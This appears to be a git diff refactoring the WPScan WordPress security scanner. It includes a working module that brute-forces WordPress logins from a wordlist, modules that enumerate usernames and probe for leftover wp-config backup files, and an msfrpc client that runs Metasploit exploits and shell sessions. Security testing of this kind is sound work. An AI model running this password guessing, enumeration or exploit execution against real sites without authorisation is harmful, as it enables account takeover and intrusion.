+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,9 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# ryandewhurst at gmail
-#
+#++
 
 module BruteForce
 
@@ -26,30 +24,33 @@ module BruteForce
     hydra               = Browser.instance.hydra
     number_of_passwords = BruteForce.lines_in_file(wordlist_path)
     login_url           = login_url()
+    found               = []
 
     logins.each do |login|
       queue_count    = 0
       request_count  = 0
       password_found = false
 
-      File.open(wordlist_path, 'r').each do |password|
+      File.open(wordlist_path, "r").each do |password|
 
         # ignore file comments, but will miss passwords if they start with a hash...
-        next if password[0,1] == '#'
+        next if password[0,1] == "#"
 
         # keep a count of the amount of requests to be sent
         request_count += 1
         queue_count   += 1
 
         # create local vars for on_complete call back, Issue 51.
-        username = login
+        username = login.name
         password = password
 
         # the request object
         request = Browser.instance.forge_request(login_url,
-          :method => :post,
-          :params => {:log => username, :pwd => password},
-          :cache_timeout => 0
+          {
+            :method => :post,
+            :params => {:log => username, :pwd => password},
+            :cache_timeout => 0
+          }
         )
 
         # tell hydra what to do when the request completes
@@ -60,19 +61,21 @@ module BruteForce
           if response.body =~ /login_error/i
             puts "\nIncorrect username and/or password." if @verbose
           elsif response.code == 302
-            puts "\n  [SUCCESS] Username : #{username} Password : #{password}\n"
+            puts "\n  " + green("[SUCCESS]") + " Username : #{username} Password : #{password}\n"
+            found << { :name => username, :password => password }
             password_found = true
           elsif response.timed_out?
-            puts "ERROR: Request timed out."
+            puts red("ERROR:") + " Request timed out."
           elsif response.code == 0
-            puts "ERROR: No response from remote server. WAF/IPS?"
-          elsif response.code =~ /^50/
-            puts "ERROR: Server error, try reducing the number of threads."
+            puts red("ERROR:") + " No response from remote server. WAF/IPS?"
+          # code is a fixnum, needs a string for regex
+          elsif response.code.to_s =~ /^50/
+            puts red("ERROR:") + " Server error, try reducing the number of threads."
           else
-            puts "\nERROR: We recieved an unknown response for #{password}..."
+            puts "\n" + red("ERROR:") + " We recieved an unknown response for #{password}..."
             if @verbose
-              puts 'Code: ' + response.code.to_s
-              puts 'Body: ' + response.body
+              puts red("Code: #{response.code.to_s}")
+              puts red("Body: #{response.body}")
               puts
             end
           end
@@ -102,7 +105,7 @@ module BruteForce
       # run all of the remaining requests
       hydra.run
     end
-
+    found
   end
 
   # Counts the number of lines in the wordlist
@@ -110,7 +113,7 @@ module BruteForce
   # wordlists, although bareable.
   def self.lines_in_file(file_path)
     lines = 0
-    File.open(file_path, 'r').each { |line| lines += 1 }
+    File.open(file_path, 'r').each { || lines += 1 }
     lines
   end
 end
diff --git a/lib/wpscan/modules/malwares.rb b/lib/wpscan/modules/malwares.rb
index a44721c1..c3eeeaee 100644
--- a/lib/wpscan/modules/malwares.rb
+++ b/lib/wpscan/modules/malwares.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module Malwares
   # Used as cache : nil => malwares not checked, [] => no malwares, otherwise array of malwares url found
@@ -27,8 +27,8 @@ module Malwares
   # return array of string (url of malwares found)
   def malwares(malwares_file_path = nil)
     if @malwares.nil?
-      malwares_found  = []
-      malwares_file   = Malwares.malwares_file(malwares_file_path)
+      malwares_found = []
+      malwares_file = Malwares.malwares_file(malwares_file_path)
       index_page_body = Browser.instance.get(@uri.to_s).body
 
       File.open(malwares_file, 'r') do |file|
@@ -53,7 +53,8 @@ module Malwares
     malwares_file_path || DATA_DIR + '/malwares.txt'
   end
 
-  def self.malware_pattern(url)
-    %r{<(?:script|iframe).* src=(?:"|')(#{url}[^"']*)(?:"|')[^>]*>}i
+  def self.malware_pattern(url_regex)
+    # no need to escape regex here, because malware.txt contains regex
+    %r{<(?:script|iframe).* src=(?:"|')(#{url_regex}[^"']*)(?:"|')[^>]*>}i
   end
 end
diff --git a/lib/wpscan/modules/web_site.rb b/lib/wpscan/modules/web_site.rb
index 008ccb20..e76baeae 100644
--- a/lib/wpscan/modules/web_site.rb
+++ b/lib/wpscan/modules/web_site.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WebSite
 
@@ -23,17 +23,17 @@ module WebSite
   def is_wordpress?
     wordpress = false
 
-    response = Browser.instance.get(login_url(),
-      :follow_location => true,
-      :max_redirects => 2
+    response = Browser.instance.get(
+        login_url(),
+        {:follow_location => true, :max_redirects => 2}
     )
 
     if response.body =~ %r{WordPress}i
       wordpress = true
     else
-      response = Browser.instance.get(xmlrpc_url(),
-        :follow_location => true,
-        :max_redirects => 2
+      response = Browser.instance.get(
+          xmlrpc_url(),
+          {:follow_location => true, :max_redirects => 2}
       )
 
       if response.body =~ %r{XML-RPC server accepts POST requests only}i
@@ -56,6 +56,7 @@ module WebSite
   # see if the remote url returns 30x redirect
   # return a string with the redirection or nil
   def redirection(url = nil)
+    redirection = nil
     url ||= @uri.to_s
     response = Browser.instance.get(url)
 
diff --git a/lib/wpscan/modules/wp_config_backup.rb b/lib/wpscan/modules/wp_config_backup.rb
index 7bf09612..6b04df4f 100644
--- a/lib/wpscan/modules/wp_config_backup.rb
+++ b/lib/wpscan/modules/wp_config_backup.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpConfigBackup
 
@@ -22,14 +22,14 @@ module WpConfigBackup
   # See http://www.feross.org/cmsploit/
   # return an array of backup config files url
   def config_backup
-    found      = []
-    backups    = WpConfigBackup.config_backup_files
-    browser    = Browser.instance
-    hydra      = browser.hydra
+    found = []
+    backups = WpConfigBackup.config_backup_files
+    browser = Browser.instance
+    hydra = browser.hydra
 
     backups.each do |file|
       file_url = @uri.merge(URI.escape(file)).to_s
-      request  = browser.forge_request(file_url)
+      request = browser.forge_request(file_url)
 
       request.on_complete do |response|
         if response.body[%r{define}i] and not response.body[%r{<\s?html}i]
@@ -47,10 +47,11 @@ module WpConfigBackup
 
   # @return Array
   def self.config_backup_files
-    [
-      'wp-config.php~','#wp-config.php#','wp-config.php.save','wp-config.php.swp','wp-config.php.swo','wp-config.php_bak',
-      'wp-config.bak', 'wp-config.php.bak', 'wp-config.save'
-    ] # thanks to Feross.org for these
+    %w{
+      wp-config.php~ #wp-config.php# wp-config.php.save wp-config.php.swp wp-config.php.swo wp-config.php_bak
+      wp-config.bak wp-config.php.bak wp-config.save wp-config.old wp-config.php.old wp-config.php.orig
+      wp-config.orig wp-config.php.original wp-config.original
+    } # thanks to Feross.org for these
   end
 
 end
diff --git a/lib/wpscan/modules/wp_full_path_disclosure.rb b/lib/wpscan/modules/wp_full_path_disclosure.rb
index bf2e4a05..e1303245 100644
--- a/lib/wpscan/modules/wp_full_path_disclosure.rb
+++ b/lib/wpscan/modules/wp_full_path_disclosure.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpFullPathDisclosure
 
diff --git a/lib/wpscan/modules/wp_login_protection.rb b/lib/wpscan/modules/wp_login_protection.rb
index a779cf74..39102a7e 100644
--- a/lib/wpscan/modules/wp_login_protection.rb
+++ b/lib/wpscan/modules/wp_login_protection.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,11 +14,11 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpLoginProtection
 
-  @@login_protection_method_pattern = /^has_(.*)_protection\?/i
+  LOGIN_PROTECTION_METHOD_PATTERN = /^has_(.*)_protection\?/i
   # Used as cache
   @login_protection_plugin = nil
 
@@ -31,17 +31,16 @@ module WpLoginProtection
   # return a WpPlugin object or nil if no one is found
   def login_protection_plugin
     unless @login_protection_plugin
-      protected_methods.grep(@@login_protection_method_pattern).each do |symbol_to_call|
+      protected_methods.grep(LOGIN_PROTECTION_METHOD_PATTERN).each do |symbol_to_call|
 
         if send(symbol_to_call)
-          plugin_name = symbol_to_call[@@login_protection_method_pattern, 1].gsub('_', '-')
+          plugin_name = symbol_to_call[LOGIN_PROTECTION_METHOD_PATTERN, 1].gsub('_', '-')
 
           return @login_protection_plugin = WpPlugin.new(
-            WpPlugin::create_location_url_from_name(
-              plugin_name,
-              @uri.to_s
-            ),
-            :name => plugin_name
+              :name           => plugin_name,
+              :base_url       => @uri,
+              :path           => "/plugins/#{plugin_name}/",
+              :wp_content_dir => @wp_content_dir
           )
         end
       end
@@ -68,7 +67,11 @@ module WpLoginProtection
   end
 
   def better_wp_security_url
-    WpPlugin.create_location_url_from_name("better-wp-security", @uri)
+    WpPlugin.new(:wp_content_dir  => @wp_content_dir,
+                 :base_url        => @uri,
+                 :path            => "/plugins/better-wp-security/",
+                 :name            => "better-wp-security"
+    ).get_url_without_filename
   end
 
   # http://wordpress.org/extend/plugins/simple-login-lockdown/
@@ -77,7 +80,11 @@ module WpLoginProtection
   end
 
   def simple_login_lockdown_url
-    WpPlugin.create_location_url_from_name("simple-login-lockdown", @uri)
+    WpPlugin.new(:wp_content_dir  => @wp_content_dir,
+                 :base_url        => @uri,
+                 :path            => "/plugins/simple-login-lockdown/",
+                 :name            => "simple-login-lockdown"
+    ).get_url_without_filename
   end
 
   # http://wordpress.org/extend/plugins/login-security-solution/
@@ -86,7 +93,11 @@ module WpLoginProtection
   end
 
   def login_security_solution_url
-    WpPlugin.create_location_url_from_name("login-security-solution", @uri)
+    WpPlugin.new(:wp_content_dir  => @wp_content_dir,
+                 :base_url        => @uri,
+                 :path            => "/plugins/login-security-solution/",
+                 :name            => "login-security-solution"
+    ).get_url_without_filename
   end
 
   # http://wordpress.org/extend/plugins/limit-login-attempts/
@@ -95,7 +106,11 @@ module WpLoginProtection
   end
 
   def limit_login_attempts_url
-    WpPlugin.create_location_url_from_name("limit-login-attempts", @uri)
+    WpPlugin.new(:wp_content_dir  => @wp_content_dir,
+                 :base_url        => @uri,
+                 :path            => "/plugins/limit-login-attempts/",
+                 :name            => "limit-login-attempts"
+    ).get_url_without_filename
   end
 
   # http://wordpress.org/extend/plugins/bluetrait-event-viewer/
@@ -104,6 +119,10 @@ module WpLoginProtection
   end
 
   def bluetrait_event_viewer_url
-    WpPlugin.create_location_url_from_name("bluetrait-event-viewer", @uri)
+    WpPlugin.new(:wp_content_dir  => @wp_content_dir,
+                 :base_url        => @uri,
+                 :path            => "/plugins/bluetrait-event-viewer/",
+                 :name            => "bluetrait-event-viewer"
+    ).get_url_without_filename
   end
 end
diff --git a/lib/wpscan/modules/wp_plugins.rb b/lib/wpscan/modules/wp_plugins.rb
index f178cc2a..bad4c765 100644
--- a/lib/wpscan/modules/wp_plugins.rb
+++ b/lib/wpscan/modules/wp_plugins.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,96 +14,32 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpPlugins
 
   # Enumerate installed plugins.
-  # Available options : see #targets_url
-  #  :show_progress_bar - default false
   #
   # return array of WpPlugin
-  def plugins_from_aggressive_detection(options = {})
-    browser              = Browser.instance
-    hydra                = browser.hydra
-    found_plugins        = options[:only_vulnerable_ones] ? [] : plugins_from_passive_detection()
-    request_count        = 0
-    queue_count          = 0
-    local_404_hash       = error_404_hash()
-    valid_response_codes = WpPlugins.valid_response_codes()
-    targets_url          = plugins_targets_url(options)
-    show_progress_bar    = options[:show_progress_bar] || false
-
-    targets_url.each do |target_url|
-      request       = browser.forge_request(target_url, :cache_timeout => 0, :follow_location => true)
-      request_count += 1
-
-      request.on_complete do |response|
-        print "\rChecking for #{targets_url.size} total plugins... #{(request_count * 100) / targets_url.size}% complete." if show_progress_bar
-
-        if valid_response_codes.include?(response.code)
-          if Digest::MD5.hexdigest(response.body) != local_404_hash
-            found_plugins << WpPlugin.new(target_url)
-          end
-        end
-      end
-
-      hydra.queue(request)
-      queue_count += 1
-
-      if queue_count == browser.max_threads
-        hydra.run
-        queue_count = 0
-      end
+  def plugins_from_aggressive_detection(options)
+    options[:file]          = options[:file] || "#{DATA_DIR}/plugins.txt"
+    options[:vulns_file]    = options[:vulns_file] || "#{DATA_DIR}/plugin_vulns.xml"
+    options[:vulns_xpath]   = "//plugin[@name='#{@name}']/vulnerability"
+    options[:vulns_xpath_2] = "//plugin"
+    options[:type]          = "plugins"
+    result = WpDetector.aggressive_detection(options)
+    plugins = []
+    result.each do |r|
+      plugins << WpPlugin.new(
+          :base_url       => r.base_url,
+          :path           => r.path,
+          :wp_content_dir => r.wp_content_dir,
+          :name           => r.name,
+          :type           => "plugins",
+          :wp_plugins_dir => r.wp_plugins_dir
+      )
     end
-
-    hydra.run
-
-    found_plugins
-  end
-
-  def self.valid_response_codes
-    [200, 403, 301, 302]
-  end
-
-  # Available options :
-  #  :only_vulnerable_ones - default false
-  #  :plugins_file - default DATA_DIR/plugins.txt
-  #  :plugin_vulns_file - default DATA_DIR/plugin_vulns.xml
-  #
-  # @return Array of String
-  def plugins_targets_url(options = {})
-    only_vulnerable   = options[:only_vulnerable_ones] || false
-    plugins_file      = options[:plugins_file] || "#{DATA_DIR}/plugins.txt"
-    plugin_vulns_file = options[:plugin_vulns_file] || "#{DATA_DIR}/plugin_vulns.xml"
-    targets_url       = []
-
-    if only_vulnerable == false
-      # Open and parse the 'most popular' plugin list...
-      File.open(plugins_file, 'r') do |file|
-        file.readlines.collect do |line|
-          targets_url << WpPlugin.create_url_from_raw(line.chomp, @uri)
-        end
-      end
-    end
-
-    xml = Nokogiri::XML(File.open(plugin_vulns_file)) do |config|
-      config.noblanks
-    end
-
-    # We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it
-    xml.xpath("//plugin").each do |node|
-      plugin_name = node.attribute('name').text
-
-      if targets_url.grep(%r{/#{plugin_name}/}).empty?
-        targets_url << WpPlugin.create_location_url_from_name(plugin_name, url())
-      end
-    end
-
-    targets_url.flatten!
-    targets_url.uniq!
-    # randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection
-    targets_url.sort_by! { rand }
+    plugins.sort_by { |p| p.name }
   end
 
   # http://code.google.com/p/wpscan/issues/detail?id=42
@@ -112,21 +48,21 @@ module WpPlugins
   #   <link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/>
   #   ...
   # return array of WpPlugin
-  def plugins_from_passive_detection
-    plugins       = []
-    response      = Browser.instance.get(url())
-    plugins_names = response.body.scan(%r{(?:[^=:]+)\s?(?:=|:)\s?(?:"|')[^"']+\\?/wp-content\\?/plugins\\?/([^/\\"']+)\\?(?:/|"|')}i)
+  def plugins_from_passive_detection(options)
+    plugins = []
+    temp = WpDetector.passive_detection(options[:base_url], "plugins", options[:wp_content_dir])
 
-    plugins_names.flatten!
-    plugins_names.uniq!
-
-    plugins_names.each do |plugin_name|
+    temp.each do |item|
       plugins << WpPlugin.new(
-        WpPlugin.create_location_url_from_name(plugin_name, url()),
-        :name => plugin_name
+          :base_url       => item.base_url,
+          :name           => item.name,
+          :path           => item.path,
+          :wp_content_dir => options[:wp_content_dir],
+          :type           => "plugins",
+          :wp_plugins_dir => options[:wp_plugins_dir]
       )
     end
-    plugins
+    plugins.sort_by { |p| p.name }
   end
 
 end
diff --git a/lib/wpscan/modules/wp_readme.rb b/lib/wpscan/modules/wp_readme.rb
index 2c3e2f9d..45389ee1 100644
--- a/lib/wpscan/modules/wp_readme.rb
+++ b/lib/wpscan/modules/wp_readme.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpReadme
 
diff --git a/lib/wpscan/modules/wp_themes.rb b/lib/wpscan/modules/wp_themes.rb
new file mode 100644
index 00000000..78e93fd5
--- /dev/null
+++ b/lib/wpscan/modules/wp_themes.rb
@@ -0,0 +1,56 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+module WpThemes
+
+  def themes_from_aggressive_detection(options)
+    options[:file]          = options[:file] || "#{DATA_DIR}/themes.txt"
+    options[:vulns_file]    = (options[:vulns_file] != nil and options[:vulns_file] != "") ?
+        options[:vulns_file] : DATA_DIR + "/wp_theme_vulns.xml"
+    options[:vulns_xpath]   = "//theme[@name='#{@name}']/vulnerability"
+    options[:vulns_xpath_2] = "//theme"
+    options[:type]          = "themes"
+    result = WpDetector.aggressive_detection(options)
+    themes = []
+    result.each do |r|
+      themes << WpTheme.new(
+          :base_url       => r.base_url,
+          :path           => r.path,
+          :wp_content_dir => r.wp_content_dir,
+          :name           => r.name
+      )
+    end
+    themes.sort_by { |t| t.name }
+  end
+
+  def themes_from_passive_detection(options)
+    themes = []
+    temp = WpDetector.passive_detection(options[:base_url], "themes", options[:wp_content_dir])
+
+    temp.each do |item|
+      themes << WpTheme.new(
+          :base_url       => item.base_url,
+          :name           => item.name,
+          :path           => item.path,
+          :wp_content_dir => options[:wp_content_dir]
+      )
+    end
+    themes.sort_by { |t| t.name }
+  end
+
+end
diff --git a/lib/wpscan/modules/wp_timthumbs.rb b/lib/wpscan/modules/wp_timthumbs.rb
index 63abf9b4..95f47391 100644
--- a/lib/wpscan/modules/wp_timthumbs.rb
+++ b/lib/wpscan/modules/wp_timthumbs.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,91 +14,55 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpTimthumbs
 
   # Used as cache : nil => timthumbs not checked, [] => no timthumbs, otherwise array of timthumbs url found
   @wp_timthumbs = nil
 
-  def has_timthumbs?(options = {})
-    !timthumbs(options).empty?
+  def has_timthumbs?(theme_name, options = {})
+    !timthumbs(theme_name, options).empty?
   end
 
-  # Available options :
-  #   :theme_name
-  #   :timthumbs_file
-  #   :show_progress_bar - default false
-  #
-  # return array of string (url of timthumbs found), can be empty
-  def timthumbs(options = {})
+  def timthumbs(theme_name = nil, options = {})
     if @wp_timthumbs.nil?
-      browser           = Browser.instance
-      hydra             = browser.hydra
-      found_timthumbs   = []
-      request_count     = 0
-      queue_count       = 0
-      targets_url       = timthumbs_targets_url(options)
-      show_progress_bar = options[:show_progress_bar] || false
+      options[:type]                  = "timthumbs"
+      options[:only_vulnerable_ones]  = false
+      options[:file]                  = options[:file] || DATA_DIR + "/timthumbs.txt"
+      options[:vulns_file]            = "xxx"
+      options[:vulns_xpath]           = "xxx"
+      options[:vulns_xpath_2]         = "xxx"
 
-      targets_url.each do |target_url|
-        request       = browser.forge_request(target_url, :cache_timeout => 0)
-        request_count += 1
-
-        request.on_complete do |response|
-
-          print "\rChecking for " + targets_url.size.to_s + " total timthumb files... #{(request_count * 100) / targets_url.size}% complete." if show_progress_bar
-
-          if response.body =~ /no image specified/i
-            found_timthumbs << target_url
-          end
-        end
-
-        hydra.queue(request)
-        queue_count += 1
-
-        if queue_count == browser.max_threads
-          hydra.run
-          queue_count = 0
-        end
+      WpOptions.check_options(options)
+      if theme_name == nil
+        custom_items = nil
+      else
+        custom_items = targets_url_from_theme(theme_name, options)
       end
-
-      hydra.run
-
-      @wp_timthumbs = found_timthumbs
+      @wp_timthumbs = WpEnumerator.enumerate(options, custom_items)
     end
     @wp_timthumbs
   end
 
-  # Available options :
-  #  :theme_name
-  #  :timthumbs_file
-  #
-  # retrun array of string
-  def timthumbs_targets_url(options = {})
-    targets        = options[:theme_name] ? targets_url_from_theme(options[:theme_name]) : []
-    timthumbs_file = WpTimthumbs.timthumbs_file(options[:timthumbs_file])
-    targets        += File.open(timthumbs_file, 'r') {|file| file.readlines.collect{|line| @uri.merge(line.chomp).to_s}}
-
-    targets.uniq!
-    # randomize the array to *maybe* help in some crappy IDS/IPS/WAF evasion
-    targets.sort_by! { rand }
-  end
-
-  def self.timthumbs_file(timthumbs_file_path = nil)
-    timthumbs_file_path || DATA_DIR + "/timthumbs.txt"
-  end
-
   protected
-  def targets_url_from_theme(theme_name)
-    targets    = []
+  def targets_url_from_theme(theme_name, options)
+    targets = []
     theme_name = URI.escape(theme_name)
 
-    [
-      'timthumb.php', 'lib/timthumb.php', 'inc/timthumb.php', 'includes/timthumb.php',
-      'scripts/timthumb.php', 'tools/timthumb.php', 'functions/timthumb.php'
-    ].each do |file|
-      targets << @uri.merge("wp-content/themes/#{theme_name}/#{file}").to_s
+    %w{
+      timthumb.php lib/timthumb.php inc/timthumb.php includes/timthumb.php
+      scripts/timthumb.php tools/timthumb.php functions/timthumb.php
+    }.each do |file|
+      targets << WpItem.new(
+          :base_url       => options[:base_url],
+          :path           => "themes/#{theme_name}/#{file}",
+          :wp_content_dir => options[:wp_content_dir],
+          :name           => theme_name,
+          :vulns_file     => "XX",
+          :type           => "timthumbs",
+          :wp_plugins_dir => options[:wp_plugins_dir]
+      )
     end
     targets
   end
diff --git a/lib/wpscan/modules/wp_usernames.rb b/lib/wpscan/modules/wp_usernames.rb
index 6ab4341d..035d1cf8 100644
--- a/lib/wpscan/modules/wp_usernames.rb
+++ b/lib/wpscan/modules/wp_usernames.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 module WpUsernames
 
@@ -24,21 +24,32 @@ module WpUsernames
   # Available options :
   #  :range - default : 1..10
   #
-  # returns an array of usernames (can be empty)
+  # returns an array of WpUser (can be empty)
   def usernames(options = {})
-    range       = options[:range] || (1..10)
-    browser     = Browser.instance
-    usernames   = []
+    range = options[:range] || (1..10)
+    browser = Browser.instance
+    usernames = []
 
     range.each do |author_id|
-      response = browser.get(author_url(author_id))
+      url = author_url(author_id)
+      response = browser.get(url)
 
+      username = nil
+      nickname = nil
       if response.code == 301 # username in location?
-        usernames << response.headers_hash['location'][%r{/author/([^/]+)/}i, 1]
+        username = response.headers_hash['location'][%r{/author/([^/]+)/}i, 1]
+        # Get the real name from the redirect site
+        nickname = get_nickname_from_url(url)
       elsif response.code == 200 # username in body?
-        usernames << response.body[%r{posts by (.*) feed}i, 1]
+        username = response.body[%r{posts by (.*) feed}i, 1]
+        nickname = get_nickname_from_response(response)
+      end
+
+      unless username == nil and nickname == nil
+        usernames << WpUser.new(username, author_id, nickname)
       end
     end
+    usernames = remove_junk_from_nickname(usernames)
 
     # clean the array, remove nils and possible duplicates
     usernames.flatten!
@@ -46,6 +57,48 @@ module WpUsernames
     usernames.uniq
   end
 
+  def get_nickname_from_url(url)
+    resp = Browser.instance.get(url, {:follow_location => true, :max_redirects => 2})
+    nickname = nil
+    if resp.code == 200
+      nickname = extract_nickname_from_body(resp.body)
+    end
+    nickname
+  end
+
+  def get_nickname_from_response(resp)
+    nickname = nil
+    if resp.code == 200
+      nickname = extract_nickname_from_body(resp.body)
+    end
+    nickname
+  end
+
+  def extract_nickname_from_body(body)
+    body[%r{<title>([^<]*)</title>}i, 1]
+  end
+
+  def remove_junk_from_nickname(usernames)
+    unless usernames.kind_of? Array
+      raise("Need an array as input")
+    end
+    nicknames = []
+    usernames.each do |u|
+      unless u.kind_of? WpUser
+        raise("Items must be of type WpUser")
+      end
+      nickname = u.nickname
+      unless nickname == "empty"
+        nicknames << nickname
+      end
+    end
+    junk = get_equal_string_end(nicknames)
+    usernames.each do |u|
+      u.nickname = u.nickname.sub(/#{Regexp.escape(junk)}$/, "")
+    end
+    usernames
+  end
+
   def author_url(author_id)
     @uri.merge("?author=#{author_id}").to_s
   end
diff --git a/lib/wpscan/msfrpc_client.rb b/lib/wpscan/msfrpc_client.rb
index aecfbf2a..49d3a980 100644
--- a/lib/wpscan/msfrpc_client.rb
+++ b/lib/wpscan/msfrpc_client.rb
@@ -1,8 +1,8 @@
 #!/usr/bin/env ruby
 
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -16,9 +16,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# ryandewhurst at gmail
-#
+#++
 
 # This library should contain all methods to communicate with msfrpc.
 # See framework/documentation/msfrpc.txt for further information.
@@ -73,84 +71,73 @@ class RpcClient
 
   def get_exploit_info(name)
     authenticate()
-    result = @server.call('module.info', @auth_token, 'exploit', name)
-    return result
+    @server.call('module.info', @auth_token, 'exploit', name)
   end
 
   # retrieve exploit options
 
   def get_options(name)
     authenticate()
-    result = @server.call('module.options', @auth_token, 'exploit',name)
-    return result
+    @server.call('module.options', @auth_token, 'exploit',name)
   end
 
   # retrieve the exploit payloads
 
   def get_payloads(name)
     authenticate()
-    result = @server.call('module.compatible_payloads', @auth_token, name)
-    return result
+    @server.call('module.compatible_payloads', @auth_token, name)
   end
 
   # execute exploit
 
   def exploit(name, opts)
     authenticate()
-    result = @server.call('module.execute', @auth_token, 'exploit', name, opts)
-    return result
+    @server.call('module.execute', @auth_token, 'exploit', name, opts)
   end
  
   # list msf jobs
 
   def jobs()
     authenticate()
-    result = @server.call('job.list', @auth_token)
-    return result
+    @server.call('job.list', @auth_token)
   end
 
   # list msf sessions
 
   def sessions()
     authenticate()
-    result = @server.call('session.list', @auth_token)
-    return result
+    @server.call('session.list', @auth_token)
   end
 
   # kill msf session
 
   def kill_session(id)
     authenticate()
-    result = @server.call('session.stop', @auth_token, id)
-    return result
+    @server.call('session.stop', @auth_token, id)
   end
 
   # reads any pending output from session
 
   def read_shell(id)
     authenticate()
-    result = @server.call('session.shell_read', @auth_token, id)
-    return result
+    @server.call('session.shell_read', @auth_token, id)
   end
 
   # writes the specified input into the session
 
   def write_shell(id, data)
     authenticate()
-    result = @server.call('session.shell_write', @auth_token, id, data)
-    return result
+    @server.call('session.shell_write', @auth_token, id, data)
   end
 
   def meterpreter_read(id)
     authenticate()
-    result = @server.call('session.meterpreter_read', @auth_token, id)
-    return result
+    @server.call('session.meterpreter_read', @auth_token, id)
   end
 
   def meterpreter_write(id, data)
     authenticate()
-    result = @server.call('session.meterpreter_write', @auth_token, id, data)
-    return result
+    @server.call('session.meterpreter_write', @auth_token, id, data)
   end
 
 end
diff --git a/lib/wpscan/vulnerable.rb b/lib/wpscan/vulnerable.rb
index dd26c912..67f6e9ab 100644
--- a/lib/wpscan/vulnerable.rb
+++ b/lib/wpscan/vulnerable.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,25 +14,25 @@
 #
 # You should have received a copy of the GNU General Public License
